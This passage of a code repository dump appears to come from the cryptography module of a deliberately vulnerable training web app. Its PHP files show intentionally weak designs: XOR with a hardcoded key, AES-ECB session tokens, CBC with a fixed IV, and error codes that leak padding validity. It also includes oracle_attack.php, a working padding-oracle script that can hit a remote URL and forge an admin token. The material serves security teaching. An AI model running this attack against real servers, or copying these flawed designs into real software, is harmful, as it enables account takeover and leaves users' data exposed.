    "content": "<?php\n\nrequire (\"token_library_impossible.php\");\n\n$message = \"\";\n\n$token_data = create_token();\n\n$html = \"\n\t<script>\n\t\tfunction send_token() {\n\n\t\t\tconst url = 'source/check_token_impossible.php';\n\t\t\tconst data = document.getElementById ('token').value;\n\n\t\t\tconsole.log (data);\n\t\t\t \n\t\t\tfetch(url, { \n\t\t\t\t\tmethod: 'POST', \n\t\t\t\t\theaders: { \n\t\t\t\t\t\t'Content-Type': 'application/json' \n\t\t\t\t\t}, \n\t\t\t\t\tbody: data\n\t\t\t\t}) \n\t\t\t\t.then(response => { \n\t\t\t\t\tif (!response.ok) { \n\t\t\t\t\t\tthrow new Error('Network response was not ok'); \n\t\t\t\t} \n\t\t\t\treturn response.json(); \n\t\t\t\t}) \n\t\t\t\t.then(data => { \n\t\t\t\t\tconsole.log(data);\n\t\t\t\t\tmessage_line = document.getElementById ('message');\n\t\t\t\t\tif (data.status == 200) {\n\t\t\t\t\t\tmessage_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')';\n\t\t\t\t\t\tmessage_line.setAttribute('class', 'success');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmessage_line.innerText = 'Error: ' + data.message;\n\t\t\t\t\t\tmessage_line.setAttribute('class', 'warning');\n\t\t\t\t\t}\n\t\t\t\t}) \n\t\t\t\t.catch(error => { \n\t\t\t\t\tconsole.error('There was a problem with your fetch operation:', error); \n\t\t\t}); \n\n\t\t}\n\t</script>\n\t\t<p>\n\t\t\tYou have managed to steal the following token from a user of the Impervious application.\n\t\t</p>\n\t\t<p>\n\t\t\t<textarea style='width: 600px; height: 23px'>\" . htmlentities ($token_data) . \"</textarea>\n\t\t</p>\n\t\t<p>\n\t\t\tThis being the impossible level, you should not be able to mess with the token in any useful way but feel free to try below.\n\t\t</p>\n\t\t<hr>\n\t\t<form name=\\\"check_token\\\" action=\\\"\\\">\n\t\t\t<div id='message'></div>\n\t\t\t<p>\n\t\t\t\t<label for='token'>Token:</lable><br />\n\t\t\t\t<textarea id='token' name='token' style='width: 600px; height: 23px'>\" . htmlentities ($token_data) . \"</textarea>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type=\\\"button\\\" value=\\\"Submit\\\" onclick='send_token();'>\n\t\t\t</p>\n\t\t</form>\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/low.php",
    "content": "<?php\n\nfunction xor_this($cleartext, $key) {\n    // Our output text\n    $outText = '';\n\n    // Iterate through each character\n    for($i=0; $i<strlen($cleartext);) {\n        for($j=0; ($j<strlen($key) && $i<strlen($cleartext)); $j++,$i++) {\n            $outText .= $cleartext[$i] ^ $key[$j];\n        }\n    }\n    return $outText;\n}\n\n$key = \"wachtwoord\";\n\n$errors = \"\";\n$success = \"\";\n$messages = \"\";\n$encoded = null;\n$encode_radio_selected = \" checked='checked' \";\n$decode_radio_selected = \" \";\n$message = \"\";\n\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\ttry {\n\t\tif (array_key_exists ('message', $_POST)) {\n\t\t\t$message = $_POST['message'];\n\t\t\tif (array_key_exists ('direction', $_POST) && $_POST['direction'] == \"decode\") {\n\t\t\t\t$encoded = xor_this (base64_decode ($message), $key);\n\t\t\t\t$encode_radio_selected = \" \";\n\t\t\t\t$decode_radio_selected = \" checked='checked' \";\n\t\t\t} else {\n\t\t\t\t$encoded = base64_encode(xor_this ($message, $key));\n\t\t\t}\n\t\t}\n\t\tif (array_key_exists ('password', $_POST)) {\n\t\t\t$password = $_POST['password'];\n\t\t\t$decoded = xor_this (base64_decode ($password), $key);\n\t\t\tif ($password == \"Olifant\") {\n\t\t\t\t$success = \"Welcome back user\";\n\t\t\t} else {\n\t\t\t\t$errors = \"Login Failed\";\n\t\t\t}\n\t\t}\n\t} catch(Exception $e) {\n\t\t$errors = $e->getMessage();\n\t}\n}\n\n$html = \"\n\t\t<p>\n\t\tThis super secure system will allow you to exchange messages with your friends without anyone else being able to read them. Use the box below to encode and decode messages.\n\t\t</p>\n\t\t<form name=\\\"xor\\\" method='post' action=\\\"\" . $_SERVER['PHP_SELF'] . \"\\\">\n\t\t\t<p>\n\t\t\t\t<label for='message'>Message:</lable><br />\n\t\t\t\t<textarea style='width: 600px; height: 56px' id='message' name='message'>\" . htmlentities ($message) . \"</textarea>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type='radio' value='encode' name='direction' id='direction_encode' \" . $encode_radio_selected . \"><label for='direction_encode'>Encode</label> or \n\t\t\t\t<input type='radio' value='decode' name='direction' id='direction_decode' \" . $decode_radio_selected . \"><label for='direction_decode'>Decode</label>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type=\\\"submit\\\" value=\\\"Submit\\\">\n\t\t\t</p>\n\t\t</form>\n\";\n\nif (!is_null ($encoded)) {\n\t$html .= \"\n\t\t\t<p>\n\t\t\t\t<label for='encoded'>Message:</lable><br />\n\t\t\t\t<textarea readonly='readonly' style='width: 600px; height: 56px' id='encoded' name='encoded'>\" . htmlentities ($encoded) . \"</textarea>\n\t\t\t</p>\";\n}\n\n$html .= \"\n\t\t<hr>\n\t\t<p>\n\t\tYou have intercepted the following message, decode it and log in below.\n\t\t</p>\n\t\t<p>\n\t\t<textarea readonly='readonly' style='width: 600px; height: 28px' id='encoded' name='encoded'>Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=</textarea>\n\t\t</p>\n\";\n\nif ($errors != \"\") {\n\t$html .= '<div class=\"warning\">' . $errors . '</div>';\n}\n\nif ($messages != \"\") {\n\t$html .= '<div class=\"nearly\">' . $messages . '</div>';\n}\n\nif ($success != \"\") {\n\t$html .= '<div class=\"success\">' . $success . '</div>';\n}\n\n$html .= \"\n\t\t<form name=\\\"ecb\\\" method='post' action=\\\"\" . $_SERVER['PHP_SELF'] . \"\\\">\n\t\t\t<p>\n\t\t\t\t<label for='password'>Password:</lable><br />\n<input type='password' id='password' name='password'>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type=\\\"submit\\\" value=\\\"Login\\\">\n\t\t\t</p>\n\t\t</form>\n\";\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/medium.php",
    "content": "<?php\nfunction decrypt ($ciphertext, $key) {\n\t$e = openssl_decrypt($ciphertext, 'aes-128-ecb', $key, OPENSSL_PKCS1_PADDING);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Decryption failed\");\n\t}\n\treturn $e;\n}\n\n$key = \"ik ben een aardbei\";\n\n$errors = \"\";\n$success = \"\";\n$messages = \"\";\n\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\ttry {\n\t\tif (!array_key_exists ('token', $_POST)) {\n\t\t\tthrow new Exception (\"No token passed\");\n\t\t} else {\n\t\t\t$token = $_POST['token'];\n\t\t\tif (strlen($token) % 32 != 0) {\n\t\t\t\tthrow new Exception (\"Token is in wrong format\");\n\t\t\t} else {\n\t\t\t\t$decrypted = decrypt(hex2bin ($token), $key);\n\n\t\t\t\t$user = json_decode ($decrypted);\n\t\t\t\tif ($user === null) {\n\t\t\t\t\tthrow new Exception (\"Could not decode JSON object.\");\n\t\t\t\t}\n\n\t\t\t\tif ($user->user == \"sweep\" && $user->ex > time() && $user->level == \"admin\") {\n\t\t\t\t\t$success = \"Welcome administrator Sweep\";\n\t\t\t\t} else {\n\t\t\t\t\t$messages = \"Login successful but not as the right user.\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch(Exception $e) {\n\t\t$errors = $e->getMessage();\n\t}\n}\n\n$html = \"\n\t\t<p>\n\t\tYou have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets:\n\t\t</p>\n\t\t<p>\n\t\t<strong>Sooty (admin), session expired</strong>\n\t\t</p>\n\t\t<p>\n<textarea style='width: 600px; height: 56px'>e287af752ed3f9601befd45726785bd9b85bb230876912bf3c66e50758b222d0837d1e6b16bfae07b776feb7afe576305aec34b41499579d3fb6acc8dc92fd5fcea8743c3b2904de83944d6b19733cdb48dd16048ed89967c250ab7f00629dba</textarea>\n\t\t</p>\n\t\t<p>\n\t\t<strong>Sweep (user), session expired</strong>\n\t\t</p>\n\t\t<p>\n<textarea style='width: 600px; height: 56px'>3061837c4f9debaf19d4539bfa0074c1b85bb230876912bf3c66e50758b222d083f2d277d9e5fb9a951e74bee57c77a3caeb574f10f349ed839fbfd223903368873580b2e3e494ace1e9e8035f0e7e07</textarea>\n\t\t</p>\n\t\t<p>\n\t\t<strong>Soo (user), session valid</strong>\n\t\t</p>\n\t\t<p>\n<textarea style='width: 600px; height: 56px'>5fec0b1c993f46c8bad8a5c8d9bb9698174d4b2659239bbc50646e14a70becef83f2d277d9e5fb9a951e74bee57c77a3c9acb1f268c06c5e760a9d728e081fab65e83b9f97e65cb7c7c4b8427bd44abc16daa00fd8cd0105c97449185be77ef5</textarea>\n\t\t</p>\n\t\t<p>\n\t\tBased on the documentation, you know the format of the token is:\n\t\t</p>\n\t\t<pre><code>{\n    \\\"user\\\": \\\"example\\\",\n    \\\"ex\\\": 1723620372,\n    \\\"level\\\": \\\"user\\\",\n    \\\"bio\\\": \\\"blah\\\"\n}</code></pre>\n<p>\nYou also spot this comment in the docs:\n</p>\n<blockquote><i>\nTo ensure your security, we use aes-128-ecb throughout our application.\n</i></blockquote>\n\n\t\t<hr>\n\t\t<p>\n\t\tManipulate the session tokens you have captured to log in as Sweep with admin privileges.\n\";\n\nif ($errors != \"\") {\n\t$html .= '<div class=\"warning\">' . $errors . '</div>';\n}\n\nif ($messages != \"\") {\n\t$html .= '<div class=\"nearly\">' . $messages . '</div>';\n}\n\nif ($success != \"\") {\n\t$html .= '<div class=\"success\">' . $success . '</div>';\n}\n\n$html .= \"\n\t\t<form name=\\\"ecb\\\" method='post' action=\\\"\" . $_SERVER['PHP_SELF'] . \"\\\">\n\t\t\t<p>\n\t\t\t\t<label for='token'>Token:</lable><br />\n<textarea style='width: 600px; height: 56px' id='token' name='token'></textarea>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type=\\\"submit\\\" value=\\\"Submit\\\">\n\t\t\t</p>\n\t\t</form>\n\";\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/oracle_attack.php",
    "content": "<?php\n\nrequire_once (\"token_library_high.php\");\n\nfunction xor_byte_array ($a1, $a2) {\n\tif (count ($a1) != count ($a2)) {\n\t\tthrow new Exception (\"Arrays are different length\");\n\t}\n\t$out = [];\n\tfor ($i = 0; $i < count ($a1); $i++) {\n\t\t$out[] = $a1[$i] ^ $a2[$i];\n\t}\n\treturn $out;\n}\n\nfunction byte_array_to_string ($array) {\n\t$str = \"\";\n\tforeach ($array as $c) {\n\t\t$str .= \"0x\" . sprintf (\"%02x\", $c) . \" \";\n\t}\n\treturn $str;\n}\n\nfunction zero_array($length) {\n\t$array = [];\n\tfor ($i = 0; $i < $length; $i++) {\n\t\t$array[$i] = 0x00;\n\t}\n\treturn $array;\n}\n\nfunction make_call ($token, $iv, $url = null) {\n\t# This maps the IV byte array down to a string\n\t$iv_string = implode(array_map(\"chr\", $iv));\n\n\t# Now base64 encode it so it is safe to send\n\t$iv_string_b64 = base64_encode ($iv_string);\n\n\t$data = array (\n\t\t\t\t\t\"token\" => $token,\n\t\t\t\t\t\"iv\" => $iv_string_b64\n\t\t\t\t);\n\n\tif (is_null ($url)) {\n\t\t$body = check_token (json_encode ($data));\n\t} else {\n\t\t$ch = curl_init();\n\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json', 'Accept:application/json'));\n\t\tcurl_setopt($ch, CURLOPT_POST, 1);\n\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode ($data));\n\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\tcurl_setopt($ch, CURLOPT_HEADER, true);\n\n\t\t$response = curl_exec($ch);\n\n\t\t$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\n\t\t$header = substr($response, 0, $header_size);\n\t\t$body = substr($response, $header_size);\n\n\t\t// May return false or something that evaluates to false\n\t\t// so can't do strict type check\n\t\tif ($response == false) {\n\t\t\tprint \"Could not access remote server, is the URL correct?\n${url}\n\";\n\t\t\texit;\n\t\t}\n\t\tif (strpos ($header, \"200 OK\") === false) {\n\t\t\tprint \"Check token script not found, have you got the right URL?\n${url}\n\";\n\t\t\texit;\n\t\t}\n\n\t\tcurl_close($ch);\n\t}\n\n\treturn json_decode ($body, true);\n}\n\nfunction do_attack ($iv_string_b64, $token, $url) {\n\t$iv_string = base64_decode ($iv_string_b64);\n\t$temp_init_iv = unpack('C*', $iv_string);\n\n\t# The unpack creates an array starting a 1, the\n\t# rest of this code assumes an array starting at 0\n\t# so calling array_values changes the array 0 based\n\n\t$init_iv = array_values ($temp_init_iv);\n\n\tprint \"Trying to decrypt\\n\";\n\tprint \"\\n\";\n\n\t$iv = zero_array(16);\n\t$zeroing = zero_array(16);\n\n\n\tfor ($padding = 1; $padding <= 16; $padding++) {\n\t\t$offset = 16 - $padding;\n\t\tprint (\"Looking at offset $offset for padding $padding\\n\");\n\t\tfor ($i = 0; $i <= 0xff; $i++) {\n\t\t\t$iv[$offset] = $i;\n\t\t\tfor ($k = $offset + 1; $k < 16; $k++) {\n\t\t\t\t$iv[$k] = $zeroing[$k] ^ $padding;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\t$obj = make_call ($token, $iv, $url);\n\n\t\t\t\t# 526 is decryption failed\n\t\t\t\tif ($obj['status'] != 526) {\n\t\t\t\t\tprint \"Got hit for: \" . $i . \"\\n\";\n\n\t\t\t\t\t# Only get here if the decrypt works correctly\n\n\t\t\t\t\t/*\n\n\t\t\t\t\tCheck for edge case on offset 15 (right most byte).\n\t\t\t\t\tThe decrypted data could look like this:\n\n\t\t\t\t\t0x44 ... 0x02 0x02\n\t\t\t\t\t\t\t\t  ^^^^ Real last byte of value 2 byte padding\n\n\t\t\t\t\tIn this situation, if we happen to land on a value \n\t\t\t\t\tthat sets the last byte to 0x02 then that will\n\t\t\t\t\tlook like valid padding as it will make the data end\n\t\t\t\t\tin 0x02 0x02 as it already does:\n\n\t\t\t\t\t0x44 ... 0x02 0x02\n\t\t\t\t\t\t\t\t  ^^^^ Fluke, we want 0x01 for 1 byte padding\n\n\t\t\t\t\tThis is what we want:\n\n\t\t\t\t\t0x44 ... 0x02 0x01\n\t\t\t\t\t\t\t\t  ^^^^ Valid 1 byte padding\n\n\t\t\t\t\tTo do this, change the IV value for offset 14 which will\n\t\t\t\t\tchange the second to last byte and make the call again.\n\t\t\t\t\tIf we were in the edge case we would now have:\n\n\t\t\t\t\t0x44 ... 0xf3 0x02\n\t\t\t\t\t\t\t\t  ^^^^ No longer valid padding\n\n\t\t\t\t\tThis is no longer valid padding so it will fail and we can \n\t\t\t\t\tcontinue looking till we find the value that gives us\n\t\t\t\t\tvalid 1 byte padding.\n\n\t\t\t\t\t*/\n\n\t\t\t\t\t// Used by the edge case check\n\n\t\t\t\t\t$ignore = false;\n\t\t\t\t\tif ($offset == 15) {\n\t\t\t\t\t\tprint \"Got a valid decrypt for offset 15, checking edge case\\n\";\n\t\t\t\t\t\t$temp_iv = $iv;\n\t\t\t\t\t\t$temp_iv[14] = 0xff;\n\t\t\t\t\t\t$temp_d_obj = make_call ($token, $temp_iv, $url);\n\t\t\t\t\t\tif ($temp_d_obj['status'] != 526) {\n\t\t\t\t\t\t\tprint \"Not edge case, can continue\\n\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tprint \"Edge case, do not continue\\n\";\n\t\t\t\t\t\t\t$ignore = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (!$ignore) {\n\t\t\t\t\t\tprint \"There was a match\\n\";\n\t\t\t\t\t\t$zeroing[$offset] = $i ^ $padding; \n\t\t\t\t\t\t# print \"IV: \" . byte_array_to_string ($iv) . \"\\n\";\n\t\t\t\t\t\t# print \"Zero: \" . byte_array_to_string ($zeroing) . \"\\n\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(Exception $exp) {\n\t\t\t\t# print \"Fail\\n\";\n\t\t\t\t# var_dump ($e);\n\t\t\t}\n\t\t}\n\t}\n\n\tprint \"\\n\";\n\tprint \"Finished looping\\n\";\n\tprint \"\\n\";\n\n\tprint \"Derived IV is: \" . byte_array_to_string ($iv) . \"\\n\";\n\n\t# If you want to check this, it should be all 16 to show it is all padding\n\t# $x = xor_byte_array ($iv, $zeroing);\n\t# print \"Derived IV XOR and zeroing string: \" . byte_array_to_string ($x) . \"\\n\";\n\n\tprint \"Real IV is: \" . byte_array_to_string ($init_iv) . \"\\n\";\n\tprint \"Zeroing array is: \" . byte_array_to_string ($zeroing) . \"\\n\";\n\tprint \"\\n\";\n\n\t$x = xor_byte_array ($init_iv, $zeroing);\n\tprint \"Decrypted string with padding: \" . byte_array_to_string ($x) . \"\\n\";\n\t$number_of_padding_bytes = $x[15];\n\t$without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes);\n\tprint \"Decrypted string without padding: \" . byte_array_to_string ($without_padding) . \"\\n\";\n\n\t$str = '';\n\tfor ($i = 0; $i < count ($without_padding); $i++) {\n\t\t$c = $without_padding[$i];\n\t\tif ($c > 0x19 && $c < 0x7f) {\n\t\t\t$str .= chr($c);\n\t\t} else {\n\t\t\t$str .= \"0x\" . sprintf (\"%02x\", $c) . \" \";\n\t\t}\n\t}\n\n\tprint \"Decrypted string as text: \" . $str . \"\\n\";\n\n\t/*\n\tTrying to modify decrypted data by playing with the zeroing array.\n\t*/\n\n\tprint \"\\n\";\n\tprint \"Trying to modify string\\n\";\n\tprint \"\\n\";\n\n\t$new_clear = \"userid:1\";\n\tprint \"New clear text: \" . $new_clear . \"\\n\";\n\n\tfor ($i = 0; $i < strlen($new_clear); $i++) {\n\t\t$zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]);\n\t}\n\t$padding = 16 - strlen($new_clear);\n\t$offset = 16 - $padding;\n\tfor ($i = $offset; $i < 16; $i++) {\n\t\t$zeroing[$i] = $zeroing[$i] ^ $padding;\n\t}\n\n\tprint \"New IV is: \" . byte_array_to_string ($zeroing) . \"\\n\";\n\tprint \"\\n\";\n\n\tprint \"Sending new data to server...\\n\";\n\tprint \"\\n\";\n\n\ttry {\n\t\t$ret_obj = make_call ($token, $zeroing, $url);\n\n\t\tprint \"Response from server:\\n\";\n\t\tvar_dump ($ret_obj);\n\n\t\tif ($ret_obj['status'] == 200 && $ret_obj['level'] == \"admin\") {\n\t\t\tprint \"\\n\";\n\t\t\tprint \"Hack success!\\n\\n\";\n\t\t\tprint \"The new token is:\\n\";\n\n\t\t\t# This maps the IV byte array down to a string\n\t\t\t$iv_string = implode(array_map(\"chr\", $zeroing));\n\n\t\t\t# Now base64 encode it so it is safe to send\n\t\t\t$iv_string_b64 = base64_encode ($iv_string);\n\n\t\t\t$new_token = array (\n\t\t\t\t\t\t\t\t\"token\" => $token,\n\t\t\t\t\t\t\t\t\"iv\" => $iv_string_b64\n\t\t\t\t\t\t\t);\n\t\t\tprint json_encode ($new_token);\n\t\t\tprint \"\\n\\n\";\n\t\t} else {\n\t\t\tprint \"Hack failed\\n\";\n\t\t}\n\t} catch (Exception $exp) {\n\t\tprint \"Hack failed, system could not decrypt message\\n\";\n\t\tvar_dump ($exp);\n\t}\n}\n\n$shortopts  = \"\";\n$shortopts .= \"h\";  // Help\n\n$longopts  = array(\n\"url:\",    // Required value\n\"iv:\",     // Required value\n\"token:\",  // Required value\n\"local\",   // No value\n\"help\",    // No value\n);\n$options = getopt($shortopts, $longopts);\n\nif (array_key_exists (\"h\", $options) || array_key_exists (\"help\", $options)) {\n\tprint \"This script can either test against a local decryptor or a remote.\\n\nTo test locally, pass --local, otherwise pass the IV, token and URL for the remote system.\n\n--local - Test locally\n--iv - IV from remote system\n--token - Token from remote system\n--url - URL for the check function\n-h, --help - help\n\n\";\n\texit;\n} elseif (array_key_exists (\"l\", $options) || array_key_exists (\"local\", $options)) {\n\tprint \"Creating the token locally\\n\\n\";\n\n\t$token_data = json_decode (create_token(true), true);\n\n\t$token = $token_data['token'];\n\t$iv = $token_data['iv'];\n\t$url = null;\n} elseif (array_key_exists (\"iv\", $options) &&\n\tarray_key_exists (\"token\", $options) &&\n\tarray_key_exists (\"url\", $options)) {\n\tprint \"Attacking remote server using parameters provided\\n\\n\";\n\n\t$token = $options['token'];\n\t$iv = $options['iv'];\n\t$url = $options['url'];\n} else {\n\tprint \"Either specify --local or provide the IV, token and URL\\n\\n\";\n\texit;\n}\n\ndo_attack ($iv, $token, $url);\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/token_library_high.php",
    "content": "<?php\n\ndefine (\"KEY\", \"rainbowclimbinghigh\");\ndefine (\"ALGO\", \"aes-128-cbc\");\ndefine (\"IV\", \"1234567812345678\");\n\nfunction encrypt ($plaintext, $iv) {\n\t# Default padding is PKCS#7 which is interchangeable with PKCS#5\n\t# https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS#5_and_PKCS#7\n\n\tif (strlen ($iv) != 16) {\n\t\tthrow new Exception (\"IV must be 16 bytes, \" . strlen ($iv) . \" passed\");\n\t}\n\t$tag = \"\";\n\t$e = openssl_encrypt($plaintext, ALGO, KEY, OPENSSL_RAW_DATA, $iv, $tag);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Encryption failed\");\n\t}\n\treturn $e;\n}\n\nfunction decrypt ($ciphertext, $iv) {\n\tif (strlen ($iv) != 16) {\n\t\tthrow new Exception (\"IV must be 16 bytes, \" . strlen ($iv) . \" passed\");\n\t}\n\t$e = openssl_decrypt($ciphertext, ALGO, KEY, OPENSSL_RAW_DATA, $iv);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Decryption failed\");\n\t}\n\treturn $e;\n}\n\n// Added the debug flag so that when calling from the script\n// the function can print the data used to create the token\n\nfunction create_token ($debug = false) {\n\t$token = \"userid:2\";\n\n\tif ($debug) {\n\t\tprint \"Clear text token: \" . $token . \"\\n\";\n\t\tprint \"Encryption key: \" . KEY . \"\\n\";\n\t\tprint \"IV: \" . (IV) . \"\\n\";\n\t}\n\n\t$e = encrypt ($token, IV);\n\t$data = array (\n\t\t\t\t\t\"token\" => base64_encode ($e),\n\t\t\t\t\t\"iv\" => base64_encode (IV)\n\t\t\t\t);\n\treturn json_encode($data);\n}\n\nfunction check_token ($data) {\n\t$users = array ();\n\t$users[1] = array (\"name\" => \"Geoffery\", \"level\" => \"admin\");\n\t$users[2] = array (\"name\" => \"Bungle\", \"level\" => \"user\");\n\t$users[3] = array (\"name\" => \"Zippy\", \"level\" => \"user\");\n\t$users[4] = array (\"name\" => \"George\", \"level\" => \"user\");\n\n\t$data_array = false;\n\ttry {\n\t\t$data_array = json_decode ($data, true);\n\t} catch (TypeError $exp) {\n\t\t$ret = array (\n\t\t\t\t\t\t\"status\" => 521,\n\t\t\t\t\t\t\"message\" => \"Data not in JSON format\",\n\t\t\t\t\t\t\"extra\" => $exp->getMessage()\n\t\t\t\t\t);\n\t}\n\n\tif (is_null ($data_array)) {\n\t\t$ret = array (\n\t\t\t\t\t\t\"status\" => 522,\n\t\t\t\t\t\t\"message\" => \"Data in wrong format\"\n\t\t\t\t\t);\n\t} else {\n\t\tif (!array_key_exists (\"token\", $data_array)) {\n\t\t\t$ret = array (\n\t\t\t\t\t\t\t\"status\" => 523,\n\t\t\t\t\t\t\t\"message\" => \"Missing token\"\n\t\t\t\t\t\t);\n\t\t\treturn json_encode ($ret);\n\t\t}\n\t\tif (!array_key_exists (\"iv\", $data_array)) {\n\t\t\t$ret = array (\n\t\t\t\t\t\t\t\"status\" => 524,\n\t\t\t\t\t\t\t\"message\" => \"Missing IV\"\n\t\t\t\t\t\t);\n\t\t\treturn json_encode ($ret);\n\t\t}\n\t\t\t\n\t\t$ciphertext = base64_decode ($data_array['token']);\n\t\t$iv = base64_decode ($data_array['iv']);\n\n\t\t# Assume failure\n\t\t$ret = array (\n\t\t\t\t\t\t\"status\" => 500,\n\t\t\t\t\t\t\"message\" => \"Unknown error\"\n\t\t\t\t\t);\n\t\ttry {\n\t\t\t$d = decrypt ($ciphertext, $iv); \n\t\t\tif (preg_match (\"/^userid:(\\d+)$/\", $d, $matches)) {\n\t\t\t\t$id = $matches[1];\n\t\t\t\tif (array_key_exists ($id, $users)) {\n\t\t\t\t\t$user = $users[$id];\n\t\t\t\t\t$ret = array (\n\t\t\t\t\t\t\t\t\t\"status\" => 200,\n\t\t\t\t\t\t\t\t\t\"user\" => $user[\"name\"],\n\t\t\t\t\t\t\t\t\t\"level\" => $user['level']\n\t\t\t\t\t\t\t\t);\n\t\t\t\t} else {\n\t\t\t\t\t$ret = array (\n\t\t\t\t\t\t\t\t\t\"status\" => 525,\n\t\t\t\t\t\t\t\t\t\"message\" => \"User not found\"\n\t\t\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$ret = array (\n\t\t\t\t\t\t\t\t\"status\" => 527,\n\t\t\t\t\t\t\t\t\"message\" => \"No user specified\"\n\t\t\t\t\t\t\t);\n\t\t\t}\n\t\t} catch (Exception $exp) {\n\t\t\t$ret = array (\n\t\t\t\t\t\t\t\"status\" => 526,\n\t\t\t\t\t\t\t\"message\" => \"Unable to decrypt token\",\n\t\t\t\t\t\t\t\"extra\" => $exp->getMessage()\n\t\t\t\t\t\t);\n\t\t}\n\t}\n\treturn json_encode ($ret);\n}\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/token_library_impossible.php",
    "content": "<?php\n\ndefine (\"KEY\", \"rainbowclimbinghigh\");\ndefine (\"ALGO\", \"aes-256-gcm\");\n\nfunction encrypt ($plaintext, $iv) {\n\t# Default padding is PKCS#7 which is interchangeable with PKCS#5\n\t# https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS#5_and_PKCS#7\n\n\tif (strlen ($iv) != 12) {\n\t\tthrow new Exception (\"IV must be 12 bytes, \" . strlen ($iv) . \" passed\");\n\t}\n\n\t$e = openssl_encrypt($plaintext, ALGO, KEY, OPENSSL_RAW_DATA, $iv, $tag);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Encryption failed\");\n\t}\n\treturn $e . $tag;\n}\n\nfunction decrypt ($ciphertext, $iv) {\n\tif (strlen ($iv) != 12) {\n\t\tthrow new Exception (\"IV must be 12 bytes, \" . strlen ($iv) . \" passed\");\n\t}\n\n    $tag = substr($ciphertext, -16);\n\t$text = substr($ciphertext, 0, -16);\n\n\t$e = openssl_decrypt($text, ALGO, KEY, OPENSSL_RAW_DATA, $iv, $tag);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Decryption failed\");\n\t}\n\treturn $e;\n}\n\n// Added the debug flag so that when calling from the script\n// the function can print the data used to create the token\n\nfunction create_token () {\n\t$token = \"userid:2\";\n\t$iv = openssl_random_pseudo_bytes(12, $cstrong);\n\n\t$e = encrypt ($token, $iv);\n\t$data = array (\n\t\t\t\t\t\"token\" => base64_encode ($e),\n\t\t\t\t\t\"iv\" => base64_encode ($iv),\n\t\t\t\t);\n\treturn json_encode($data);\n}\n\nfunction check_token ($data) {\n\t$users = array ();\n\t$users[1] = array (\"name\" => \"Geoffery\", \"level\" => \"admin\");\n\t$users[2] = array (\"name\" => \"Bungle\", \"level\" => \"user\");\n\t$users[3] = array (\"name\" => \"Zippy\", \"level\" => \"user\");\n\t$users[4] = array (\"name\" => \"George\", \"level\" => \"user\");\n\n\t$data_array = false;\n\ttry {\n\t\t$data_array = json_decode ($data, true);\n\t} catch (TypeError $exp) {\n\t\t$ret = array (\n\t\t\t\t\t\t\"status\" => 521,\n\t\t\t\t\t\t\"message\" => \"Data not in JSON format\",\n\t\t\t\t\t\t\"extra\" => $exp->getMessage()\n\t\t\t\t\t);\n\t}\n\n\tif (is_null ($data_array)) {\n\t\t$ret = array (\n\t\t\t\t\t\t\"status\" => 522,\n\t\t\t\t\t\t\"message\" => \"Data in wrong format\"\n\t\t\t\t\t);\n\t} else {\n\t\tif (!array_key_exists (\"token\", $data_array)) {\n\t\t\t$ret = array (\n\t\t\t\t\t\t\t\"status\" => 523,\n\t\t\t\t\t\t\t\"message\" => \"Missing token\"\n\t\t\t\t\t\t);\n\t\t\treturn json_encode ($ret);\n\t\t}\n\t\tif (!array_key_exists (\"iv\", $data_array)) {\n\t\t\t$ret = array (\n\t\t\t\t\t\t\t\"status\" => 524,\n\t\t\t\t\t\t\t\"message\" => \"Missing IV\"\n\t\t\t\t\t\t);\n\t\t\treturn json_encode ($ret);\n\t\t}\n\t\t\t\n\t\t$ciphertext = base64_decode ($data_array['token']);\n\t\t$iv = base64_decode ($data_array['iv']);\n\n\t\t# Assume failure\n\t\t$ret = array (\n\t\t\t\t\t\t\"status\" => 500,\n\t\t\t\t\t\t\"message\" => \"Unknown error\"\n\t\t\t\t\t);\n\t\ttry {\n\t\t\t$d = decrypt ($ciphertext, $iv); \n\t\t\tif (preg_match (\"/^userid:(\\d+)$/\", $d, $matches)) {\n\t\t\t\t$id = $matches[1];\n\t\t\t\tif (array_key_exists ($id, $users)) {\n\t\t\t\t\t$user = $users[$id];\n\t\t\t\t\t$ret = array (\n\t\t\t\t\t\t\t\t\t\"status\" => 200,\n\t\t\t\t\t\t\t\t\t\"user\" => $user[\"name\"],\n\t\t\t\t\t\t\t\t\t\"level\" => $user['level']\n\t\t\t\t\t\t\t\t);\n\t\t\t\t} else {\n\t\t\t\t\t$ret = array 